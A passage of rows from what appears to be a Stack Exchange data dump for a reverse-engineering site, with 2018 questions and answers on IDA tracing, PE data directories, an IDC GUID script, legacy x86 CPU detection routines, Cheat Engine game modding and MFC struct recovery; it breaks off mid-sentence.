  <row Id="19395" PostTypeId="1" CreationDate="2018-09-19T10:13:00.303" Score="0" ViewCount="302" Body="&lt;p&gt;Ida marks the instructions, which were executed during the trace, with a specific color. I want to enumerate all of them. I tried to use GetColor(ea, CIC_ITEM) to find them, but if just returns 0xFFFFFFFF. Also I've tried to save the trace to file, but it's in IDA proprietary format, and there's no API to manipulate the trace data, but load_trace_file/save_trace_file in SDK neither. Then I tried to export trace log into text file and parse it. But it's totally useless. Ida for some reason saves not the RVA, and not the virtual address of the traced instruction, but demangled name of the function + offset like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:dllmain_dispatch(HINSTANCE__ * const,ulong,void * const)+3D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So even if you're able to extract &quot;dllmain_dispatch(HINSTANCE__ * const,ulong,void * const)&quot; you need to mangle it back to use it in get_name_ea(). Seems like IDA tracing information is not supposed to be used anywhere, but displaying the instructions within trace window...&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="22324" LastEditDate="2018-09-20T10:42:36.100" LastActivityDate="2018-09-20T10:42:36.100" Title="How to find first/next instruction in IDA trace via IDC" Tags="|ida|tracing|idc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19396" PostTypeId="1" AcceptedAnswerId="19398" CreationDate="2018-09-19T11:50:36.220" Score="3" ViewCount="85" Body="&lt;p&gt;I have a PE file (notepad), the &lt;code&gt;NumberOfRvaAndSize&lt;/code&gt; value in the COFF header is &lt;code&gt;0x10&lt;/code&gt;, and there are 16 &lt;code&gt;DataDirectory&lt;/code&gt; entries as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/Debug/pe-format#optional-header-data-directories-image-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; says that this value can change (though I've never seen it), which would mean there were greater than of fewer than 16 entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immediatly after there's a list of 16 data directories complete with names.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are these names just always the same, in that exact order?&lt;/li&gt;&#xA;&lt;li&gt;If there are fewer, will it always be whatever directories are at the end that will be missing?&lt;/li&gt;&#xA;&lt;li&gt;If there are greater than 16, what are they called?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25588" LastActivityDate="2018-09-19T16:00:16.553" Title="Are the names of COFF Data Directories fixed?" Tags="|windows|pe|file-format|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19397" PostTypeId="2" ParentId="17685" CreationDate="2018-09-19T15:26:30.077" Score="2" Body="&lt;p&gt;From @Remko's idea, I made a IDC script to convert the GUID data to a sting. Here is the script:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static MakeGuid(ea)&#xA;{&#xA;    auto string = sprintf(&quot;{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\n&quot;, &#xA;        Dword(ea), Word(ea+4), Word(ea+6), Byte(ea+8), Byte(ea+9),&#xA;        Byte(ea+10), Byte(ea+11), Byte(ea+12), Byte(ea+13), Byte(ea+14), Byte(ea+15)&#xA;    Message(string);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Instructions:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Make a text file in any text editor. Add .IDC extension. Paste the above code. Load the IDC script file in IDA with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; (or File &gt; Load Script menu). Open the output window with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;0&lt;/kbd&gt; (zero). Type &lt;code&gt;MakeGuid(variable_name);&lt;/code&gt; below of that window and the GUID will be shown as string. For example, as in my question, type &lt;code&gt;MakeGuid(rclsid);&lt;/code&gt;. Always put a semicolon after the function.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Sources:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/formatdata.idc&quot; rel=&quot;nofollow noreferrer&quot;&gt;useful IDA idc scripts: formatdata.idc&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/nihilus/IDA-IDC-Scripts/blob/master/Willem_Jan_Hengeveld/formatdata.idc&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub: IDA-IDC-Scripts/formatdata.idc&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-09-19T15:26:30.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19398" PostTypeId="2" ParentId="19396" CreationDate="2018-09-19T16:00:16.553" Score="3" Body="&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Yes &lt;/li&gt;&#xA;&lt;li&gt;Correct&lt;/li&gt;&#xA;&lt;li&gt;You have to have a specification to know.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The data directories are a fixed sparse array, and the meaning of each slot is defined by the specification, so (for example) the Export table is always the first entry, it can't move. If you don't have an Export table (but you do have other directories), then the &lt;code&gt;Size&lt;/code&gt; and &lt;code&gt;VirtualAddress&lt;/code&gt; fields will be zero.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that the number of directories is not fixed. Before looking for a specific directory, check the NumberOfRvaAndSizes field in the optional header.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if the &lt;code&gt;NumberOfRvaAndSizes&lt;/code&gt; member is 2, then you can look at the Export table and the Import table, but nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parsers are built against the specification, so if they encounter a PE file with a &lt;code&gt;NumberOfRvaAndSizes&lt;/code&gt; value greater than what they know about, then they don't know what the data is or how to interpret it (and no way to find out by inspecting the PE file). Same goes for any Directory that is reserved or otherwise undocumented.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2018-09-19T16:00:16.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19399" PostTypeId="1" AcceptedAnswerId="19401" CreationDate="2018-09-19T16:36:00.930" Score="4" ViewCount="585" Body="&lt;p&gt;I am trying to modify a game (Fallout New Vegas) to not show a pause menu when the window loses focus.&#xA;I thought of two approaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the code that is called when focus changes and nop the call which would show the pause menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the code which determines whether the game is focussed and nop that&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is already a reliable way to patch the game's executable at runtime, however I am unsure of the best way to locate the code called when the game loses focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using cheat engine to find the variables that represent whether the game is focussed, however when checking the code around the variable I couldn't find anything that calls the menu to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to approach this?&lt;/p&gt;&#xA;" OwnerUserId="25559" LastActivityDate="2018-09-20T11:19:20.980" Title="Prevent game from pausing on lost focus (Fallout New Vegas)" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19400" PostTypeId="2" ParentId="19394" CreationDate="2018-09-19T18:26:02.140" Score="10" Body="&lt;p&gt;I'll dive into the past and try to give an explanation of the different checks you are observing in your software. I found three references explaining the behaviour (as I hope), which I will reference to in this answer as /1/, /2/, /3/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/1/ &lt;a href=&quot;http://www.drdobbs.com/embedded-systems/processor-detection-schemes/184409011&quot; rel=&quot;noreferrer&quot;&gt;http://www.drdobbs.com/embedded-systems/processor-detection-schemes/184409011&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an archive article from the DrDobbs Journal (very regrettably not existing any more since many years, but their archive still being a valuable resource), by Richard Leinecker, June 01, 1993, called &quot;Processor Detection Schemes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/2/ &lt;a href=&quot;https://github.com/lkundrak/dev86/blob/master/libc/misc/cputype.c&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/lkundrak/dev86/blob/master/libc/misc/cputype.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a program written by Robert de Bath, published Oct 23, 2013, also covering problems like the one here in considerable detail, unfortunately not with too much of code comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/3/ iAPX 86/88, 186/188 User's Manual, Programmer's Reference, intel, May 1983&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the Intel Programmers Reference for the processors listed in the title, still valid in many aspects (a nice example of the extremely fast pace of technology change in some fields...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your CHECKs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHECK1&lt;/strong&gt;: You gave the explanation yourself. It may be verified in /1/, LISTING ONE (contained in the article as well). I will not reproduce the code here and not comment further, as there is nothing to add to your explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHECK2&lt;/strong&gt;: Checks whether the processor is a 286 or higher (like 386 or 486). I'll quote the description of /1/, together with their code. Quote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Is It an 80286?&#xA;; Determines whether processor is a 286 or higher. Going into subroutine ax = 2&#xA;; If the processor is a 386 or higher, ax will be 3 before returning. The&#xA;; method is to set ax to 7000h which represent the 386/486 NT and IOPL bits&#xA;; This value is pushed onto the stack and popped into the flags (with popf).&#xA;; The flags are then pushed back onto the stack (with pushf). Only a 386 or 486&#xA;; will keep the 7000h bits set. If it's a 286, those bits aren't defined and&#xA;; when the flags are pushed onto stack these bits will be 0. Now, when ax is&#xA;; popped these bits can be checked. If they're set, we have a 386 or 486.&#xA;IsItA286    proc&#xA;        pushf               ; Preserve the flags&#xA;        mov ax,7000h        ; Set the NT and IOPL flag&#xA;                            ; bits only available for&#xA;                            ; 386 processors and above&#xA;        push    ax          ; push ax so we can pop 7000h&#xA;                            ; into the flag register&#xA;        popf                ; pop 7000h off of the stack&#xA;        pushf               ; push the flags back on&#xA;        pop ax              ; get the pushed flags&#xA;                            ; into ax&#xA;        and ah,70h          ; see if the NT and IOPL&#xA;                            ; flags are still set&#xA;        mov ax,2            ; set ax to the 286 value&#xA;        jz  YesItIsA286     ; If NT and IOPL not set&#xA;                            ; it's a 286&#xA;        inc ax              ; ax now is 4 to indicate&#xA;                            ; 386 or higher&#xA;YesItIsA286:&#xA;        popf                ; Restore the flags&#xA;&#xA;        ret                 ; Return to caller&#xA;IsItA286    endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope you'll see the similarity to your code immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHECK3&lt;/strong&gt;: Determines whether you have a 80186/80188 or earlier.&#xA;Quote from /3/, p.3-26, chapter &quot;SHIFTS&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;On the 8086,88 up to 255 shifts may be performed.  ...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;... Before the 80186, 188 perform a shift (or rotate) they AND the&#xA;  value to be shifted with 1FH, thus limiting the number of shifts&#xA;  occurring to 32 bits.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your code, commented:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dl, 0x4     ; DL is the proc's return val&#xA;mov al, 0xff    ; al contains 0xff&#xA;mov cl, 0x21    ; According to the above explanation from Intel,&#xA;                ; this value in cl is in an 80186/188 converted to 1, by ANDing with 0x1F.&#xA;shr al, cl      ; 80186/188 =&amp;gt; al = 0x7F&#xA;                ; other: al = 0&#xA;jnz check5      ; goto check5 if you have an 80186/188&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHECK4&lt;/strong&gt;: This one is not quite clear. However, it seems that it is the test of some CPU error. It seems to test for the CMOS version of an 8086/88.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/2/ lists the following code with comment, starting from line 271ff:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; The CMOS 8088/6 had the bug with rep lods repaired.&#xA;cmos:   push si&#xA;    sti&#xA;    mov cx, #$FFFF&#xA;rep&#xA;    lodsb&#xA;    pop si&#xA;    or cx,cx&#xA;    jne test8&#xA;    mov bx,#2   ; Intel 80C88&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not exactly your code, but very similar, thus I assume your code as well tests for the 80C88 processor. I had never heard about this bug, and found no further information of it in the web. Thus, kind of a guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHECK5&lt;/strong&gt;: This one tests whether we have an 8086/80186 or an 8088/80188, i.e. 16-bit or 8-bit machine. And your suspicion was right, it is self-modifying code. The idea is whether the self-modified instruction has already been in the prefetch queue or not. This check is covered in /1/ and /2/ as well. I reproduce the comment from /1/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author in /1/ describes it like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Differentiating between 8088s and 8086s is trickier. The easiest way&#xA;  I've found to do it is to modify code that's five bytes ahead of IP.&#xA;  Since the prefetch queue of an 8088 is four bytes and the prefetch&#xA;  queue of an 8086 is six bytes, an instruction five bytes ahead of IP&#xA;  won't have any effect on an 8086 the first time around.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As a reference, Intel writes in its manual /3/, p.3-2 &quot;Bus Interface Unit&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The 8088/188 istruction queue holds up to four bytes of instruction&#xA;  stream, while the 8086/80186 queue can store up to six instruction&#xA;  bytes.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I won't reproduce the code from /1/ here (being very similar), but rather re-comment your code with some remarks which I hope explain the case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;check5:&#xA;00000B74  push cs&#xA;00000B75  pop es        ; Set ES to CS. (why not mov es,cs? /1/ uses mov ax, cs, mov es, ax)&#xA;00000B76  std           ; Cause stosb to count backwards (di is decremented)&#xA;00000B77  mov di,0xb88  ; di==offset of code tail to modify&#xA;00000B7A  mov al,0xfb   ; is this just an STI opcode? ;IMO yes, /1/ uses 0x90 al==nop instruction opcode&#xA;00000B7C  mov cx,0x3    ; Set for 3 repetitions&#xA;00000B7F  cli           ; are interrupts undesired? Yes, I remember having read somewhere (no quote though) &#xA;                        ; that the next instruction can be interrupted, without the cli. &#xA;                        ; This of course would spoil the trick.&#xA;00000B80  rep stosb     ; write 3 bytes, backwards from Addr 0xb88&#xA;                        ; !!! 5 bytes down is the critical instruction &#xA;                        ; which will be either already in the queue (8086/186) or not (8088/188)&#xA;00000B82  cld           ; Clear the direction flag&#xA;00000B83  nop          ; Three nops in a row&#xA;00000B84  nop          ; provide dummy instructions&#xA;00000B85  nop&#xA;00000B86  inc dx        ; &amp;lt;&amp;lt;&amp;lt;=== This instruction is executed ONLY in the 8086/186 case. &#xA;                        ; In the 80188/88 case, it is overwritten with STI&#xA;00000B87  nop           ; dummy instruction&#xA;00000B88  sti           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As your return register dx came with a value of 4 from CHECK3, it will after CHECK5 have a value of 5 in the 16-Bit case.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-09-19T18:26:02.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19401" PostTypeId="2" ParentId="19399" CreationDate="2018-09-19T19:20:39.913" Score="4" Body="&lt;p&gt;Wouldn't it be great if there was a way to filter through functions that have been called vs. ones that haven't, such that you could weed out the thousands of useless function calls and hone in on one of interest? Lucky for us, you can do such a thing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buried in Cheat Engine is an incredibly powerful tool called &lt;strong&gt;Ultimap&lt;/strong&gt; (as well as its successor, &lt;strong&gt;Ultimap 2&lt;/strong&gt;). It's CPU-dependent, unfortunately, so if you're not running an Intel processor, then you're out of luck (but don't stop reading if that's the case; I mention a few other things in this answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimap and Ultimap 2 (in Cheat Engine's main window, click the &lt;code&gt;Memory view&lt;/code&gt; button -&gt; &lt;code&gt;Tools&lt;/code&gt; -&gt; &lt;code&gt;Ultimap&lt;/code&gt; or &lt;code&gt;Ultimap 2&lt;/code&gt;) are functionally the same, but operate in very different ways. I made a video on Ultimap awhile back, so &lt;a href=&quot;https://www.youtube.com/watch?v=Es-ziVPhrNs&quot; rel=&quot;nofollow noreferrer&quot;&gt;I encourage you to watch it&lt;/a&gt; since there's a lot to it. There's &lt;a href=&quot;https://www.youtube.com/watch?v=T5sXoEEPFBQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;another video by someone else&lt;/a&gt; that does a great job of explaining Ultimap as well, which you may find of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimap 2 doesn't need DBVM to work (which is fantastic), but you do need to be on a current-gen Intel CPU since &lt;a href=&quot;https://software.intel.com/en-us/blogs/2013/09/18/processor-tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel PT&lt;/a&gt; is the crux of Ultimap 2 working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That aside, &lt;a href=&quot;http://split-code.com/cda.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CDA (aka FunctionHacker)&lt;/a&gt;, goes about filtering function calls in a different (and awesome, timeline-based) way, but only works with 32-bit applications. &lt;a href=&quot;https://www.youtube.com/watch?v=P0UXR861WYM&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is an excellent video&lt;/a&gt; on how to use it, made by the guy who created the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect there's also a way to use &lt;a href=&quot;https://vicarius.io/blog/wtf-is-frida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida&lt;/a&gt; to discover and filter function calls, but I'm not well-versed enough with it yet to know if it's feasible or not, so this may or may not be worth the mention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Past that, you can try enumerating DLLs/symbols via Cheat Engine to find meaningful symbol names with which to explore. In Cheat Engine's main window, click the &lt;code&gt;Memory view&lt;/code&gt; button -&gt; &lt;code&gt;View&lt;/code&gt; -&gt; &lt;code&gt;Enumerate DLL's and Symbols&lt;/code&gt;, and then see what you see. I've also done a video on that topic which &lt;a href=&quot;https://www.youtube.com/watch?v=U8_3lCp1nas&quot; rel=&quot;nofollow noreferrer&quot;&gt;you can find here&lt;/a&gt; if you'd like to see it in action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, there's the direction it sounds like you were headed in, except you may now need to now utilize back-tracing. &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18322/backtracing-where-a-register-gets-initialized/18862&quot;&gt;Click here&lt;/a&gt; to read my answer to another question, in which I detail exactly what can do to trace your way up through the &lt;code&gt;CALL&lt;/code&gt; chain, of which you can try brute-forcing your way up through to find the primary caller (after you do a trace, go to each caller up the chain, NOP the &lt;code&gt;CALL&lt;/code&gt; and possibly anything pushed to the stack that might unbalance it farther down, see what happens; rinse and repeat). Also consider what I mention in that answer about utilizing the &lt;code&gt;Dissect Code&lt;/code&gt; feature of Cheat Engine, by which you can find xrefs, strings, functions, etc. to explore!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some games can be a bear with what you're trying to do, as pausing can be controlled by many different mechanisms (functions, threads, etc.). If you can find a boolean within a byte that completely controls pausing, great! If you can find a string from the menu, then back-trace from there to ultimately find when/where the menu is drawn and game is paused, awesome! But just be aware that you might be going down a rabbit hole that requires you to handle multiple function calls, memory addresses, and much more. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-09-19T20:38:38.277" LastActivityDate="2018-09-19T20:38:38.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19402" PostTypeId="2" ParentId="19394" CreationDate="2018-09-19T19:53:27.757" Score="2" Body="&lt;p&gt;&lt;strong&gt;Check 2&lt;/strong&gt;: While check 1 tests if the high-order bits of the flag word can be &lt;em&gt;cleared&lt;/em&gt;, check 2 tests whether they can be &lt;em&gt;set&lt;/em&gt;. On an 80286, these bits cannot be set in real mode, while on an 80386 they can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check 3&lt;/strong&gt;: This is testing what kind of shifter the processor has. Some (the newer ones) have a &lt;a href=&quot;https://en.wikipedia.org/wiki/Barrel_shifter&quot; rel=&quot;nofollow noreferrer&quot;&gt;barrel shifter&lt;/a&gt; that effectively masks the shift count to the word size (and the use of 0x21 as the shift count suggests to me that the difference appeared in the post-80286 era). So a shift by 0x21 (33) gives the same result as a shift by 33 - 32 = 1. I don't know at which generation the barrel shifter appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check 4&lt;/strong&gt;: I can't remember the details, but parts of it seem familiar to me. It's either got something to do with the repeat count being wrong after a maximal-length loop, or something with having a double instruction prefix that triggers a CPU bug. I think it's the latter, and the order of prefixes matters. When an interrupt handler returns, the instruction pointer is set to the wrong address and one or more prefixes are forgotten. Illustration: &lt;a href=&quot;https://www.youtube.com/watch?v=6FC-tcwMBnU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=6FC-tcwMBnU&lt;/a&gt; Note that the code you have here actually has the es: override prefix first, so the loop should always complete! Could this be a CPU bug detection routine, that itself contains a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check 5&lt;/strong&gt;: This is checking for an instruction cache that operates independently of any data cache. On an 80486 you can stomp all over the 16-byte window in which the processor is currently executing, and it will still execute the old contents that were loaded into the (separate) instruction cache. I think Pentium+ processors detect this overwriting and flush the instruction cache and prefetch queue. Even the earliest x86 processors have a prefetch queue long enough (except the 8088) to cover the instructions being overwritten. Conditions under which the new code gets executed: on a Pentium+ (IIRC), under a single-stepping debugger, in v86 mode where the CLI instruction doesn't really take effect, and an interrupt occurs.&lt;/p&gt;&#xA;" OwnerUserId="25720" LastActivityDate="2018-09-19T19:53:27.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19403" PostTypeId="2" ParentId="19386" CreationDate="2018-09-19T20:26:47.940" Score="2" Body="&lt;p&gt;There are two files have &quot;onCreate&quot; method so I guess one of them are the one you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sources\android\support\zeqizplcin\zeqizplcin\WhqDcenJ.java&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sources\android\support\zeqizplcin\zeqizplcin\KoBGeJtaH.java&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="25724" LastActivityDate="2018-09-19T20:26:47.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19404" PostTypeId="1" CreationDate="2018-09-20T03:33:20.857" Score="1" ViewCount="117" Body="&lt;p&gt;There are certain older, non-DirectX-based games that I can hack inside of a VM, which is amazing because I can save snapshots of states to then restore if, say, the game crashes after I attempt something. The time savings here are fantastic, what with not having to redo what I did to get to a certain point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that I would like to achieve the same sort of thing, but with games that utilize DirectX 10+. You can't do that with VMs due to a lack of support, graphically. (You can &lt;em&gt;technically&lt;/em&gt; do it with VMWare, but you also need to buy a hardware GPU unit of theirs, which is thousands of dollars.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bearing that in mind, are there any applications that can help achieve this? Short of that, is there any theoretical (possibly even practical) way that, on a host, one could pause an application, then capture the state of execution such that it could be resumed later on said host? Something like a memory dump plus gathering context of threads, register states, and whatever else might be needed--as well as what steps might be to restore that full state?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is probably a bit of an outlandish question, but I appreciate any insight on the matter. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-09-20T03:33:20.857" Title="Is there any way to capture the state of an application so as to restore execution of it later?" Tags="|binary-analysis|virtual-machines|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19405" PostTypeId="1" CreationDate="2018-09-20T05:45:31.870" Score="2" ViewCount="1238" Body="&lt;p&gt;The license is saved in a txt and I can't find the string.  The code is protected as it calls to encodepointer and some modules are hidden. I'm using ollydbg 2.01 with olly ext1.8 every option activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find the license on the memory map but now how can I find it on the code, or where it compares to that license value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kinda new to ollydbg&lt;/p&gt;&#xA;" OwnerUserId="25729" LastActivityDate="2018-09-26T19:37:19.097" Title="On ollydbg how do I find a string in code that I find on memory map?" Tags="|ollydbg|debuggers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19406" PostTypeId="1" CreationDate="2018-09-20T07:02:07.447" Score="3" ViewCount="2065" Body="&lt;h3&gt;Background&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I was using IDA to reverse engineer an DLL which uses MFC100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12385/reversing-an-mfc-application-how-to-find-class-memory-layouts&quot;&gt;Reversing an MFC application: How to find class memory layouts?&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/13126694/idapro-loading-c-header-files-into-idapro-for-structures&quot;&gt;https://stackoverflow.com/questions/13126694/idapro-loading-c-header-files-into-idapro-for-structures&lt;/a&gt; , where two answers suggest going to the correct header file and copy&amp;amp;paste the struct defintion (which is hard, because C++ has templates and vftable. Also, nested classes...), and one answer suggests making a test program and use IDA to decompile it to get the struct declaration, which is not possible because programs don't (appear to) store struct declaration. (see below)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Consider a small example. (with &lt;code&gt;CStdioFile&lt;/code&gt; and some MFC thing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;afxwin.h&amp;gt;&#xA;&#xA;class HelloApplication : public CWinApp&#xA;{&#xA;public:&#xA;    virtual BOOL InitInstance();&#xA;};&#xA;&#xA;HelloApplication HelloApp;&#xA;&#xA;class HelloWindow : public CFrameWnd&#xA;{       &#xA;    CButton* m_pHelloButton;&#xA;public: &#xA;    HelloWindow();&#xA;};&#xA;&#xA;&#xA;BOOL HelloApplication::InitInstance()&#xA;{       &#xA;    m_pMainWnd = new HelloWindow(); &#xA;    m_pMainWnd-&amp;gt;ShowWindow(m_nCmdShow); &#xA;    m_pMainWnd-&amp;gt;UpdateWindow(); &#xA;    return TRUE;&#xA;}&#xA;&#xA;&#xA;HelloWindow::HelloWindow()&#xA;{       &#xA;    Create(NULL,            &#xA;        &quot;Hello World!&quot;,         &#xA;        WS_OVERLAPPEDWINDOW|WS_HSCROLL,             &#xA;        CRect(0,0,140,80));     &#xA;    m_pHelloButton = new CButton();&#xA;    m_pHelloButton-&amp;gt;Create(&quot;Hello World!&quot;,WS_CHILD|WS_VISIBLE,CRect(20,20,120,40),this,1);&#xA;&#xA;    // some code for file reading&#xA;    CStdioFile Inputfile, Outputfile;&#xA;    CFileException FileExc;&#xA;    UINT nOpenFlags;&#xA;    CString s;&#xA;    nOpenFlags = CFile::modeRead;&#xA;    if (!Inputfile.Open(&quot;Console.txt&quot;, nOpenFlags, &amp;amp;FileExc)) {&#xA;        FileExc.ReportError();&#xA;        return;&#xA;    }&#xA;    nOpenFlags = CFile::modeWrite | CFile::modeCreate;&#xA;    if (!Outputfile.Open(&quot;Output.txt&quot;, nOpenFlags, &amp;amp;FileExc)) {&#xA;        FileExc.ReportError();&#xA;        return;&#xA;    }&#xA;    while (Inputfile.ReadString(s))&#xA;        Outputfile.WriteString(s+'\n');&#xA;    Inputfile.Close();&#xA;    Outputfile.Close();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Command line used (assuming the file above is named &lt;code&gt;a.cpp&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl.exe a.cpp /EHsc /link /debug /subsystem:windows&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, I intentionally use &lt;code&gt;/debug&lt;/code&gt; to make reverse engineering easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When IDA ask me if I want to load the PDB file, I chose 